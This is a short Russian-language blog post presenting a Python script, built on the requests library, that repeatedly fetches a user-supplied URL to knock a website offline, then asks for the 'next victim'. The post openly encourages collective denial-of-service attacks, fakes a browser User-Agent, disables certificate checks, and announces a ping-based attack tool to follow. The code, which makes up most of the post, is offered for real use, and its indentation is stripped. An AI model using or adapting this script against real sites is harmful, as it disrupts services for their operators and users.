DOS-атак

Python и DOS-атаки с помощью библиотеки requests

Привет всем! Небольшой пост сегодня, навеянный текущей ситуацией. Будем экспериментировать с DOS-атаками с помощью библиотеки requests в Python.

Длы начала — что такое DOS-атака? Это создание ситуации, когда мы самостоятельно (совсем не эффективно при текущих-то мощностях) или коллективно (о, да!) создаем некоторую нагрузку на атакуемый сервер. Множество запросов, которые заставляют сервер выделять на ответы свои ресурсы приводят к тому, что в итоге сервер оказывается перегружен запросами, и не может обрабатывать те запросы, которые действительно нужны. Так давайте разберемся, как создавать эти запросы? 🙂

Логика сеогдняшнего кода очень проста — отправляем запрос на сайт и пытаемся получить полный код интересующей нас страницы. Мелочь, но — когда мелочей миллион — сайт начинает тормозить, и в итоге — перестает стабильно работать. Для нашего же компьютера и соединения это — совершенно незаметная нагрузка.

Пример кода — ниже (и да, за тестирование и комментарии спасибо подписчику Льву, который сейчас в Киеве. Там очень сложно, но он не теряет оптимизма — за что ему отдельный респект!):

import requests #подключили библиотеку requests (о ней я <a href="https://lavrynenko.com/?s=requests" rel="noopener" target="_blank">писал неоднократно</a>)
 
def get_link(): #Создаем функцию, которая получает ссылку на атакуемый сайт
link = input(str('Link: '))
get_content(link)
 
def get_content(link): #Создаем функцию, которая собственно и будет создавать запросы на атакуемый сайт
i = 1
while True:
try:
r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) #Поддельный заголовок нашего браузера
r_answer = r.content #Создаем переменную, которая состоит из исходного кода страницы
print('Отправлено пакетов:', i) #Выводим статистику
i = i + 1
except:
print('Кажется, сайт', link, 'лежит. Дополнительная проверка...') #Лег сайт? Проверим на всякий случай :) 
try:
r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False)
r_answer = r.content
print('Точно лежит :) Выбираем следующую жертву.') #Точно лег. Давайте выберем следующую жертву? :) 
get_link()
except:
print('Точно лежит :) Выбираем следующую жертву.')
get_link()
while True:
get_content(get_link())
 
get_link()

Спасибо за внимание 🙂 Как всегда — в случае возникновения вопросов пишите на почту или в Telegram.

Завтра постараюсь выкатить версию простейшего атакера, основанного на Ping-запросах в виде оконного приложения (беда современных пользователей компьютеров в том, что бОльшая часть совершенно не умеет пользоваться командной строкой). Слава Украине!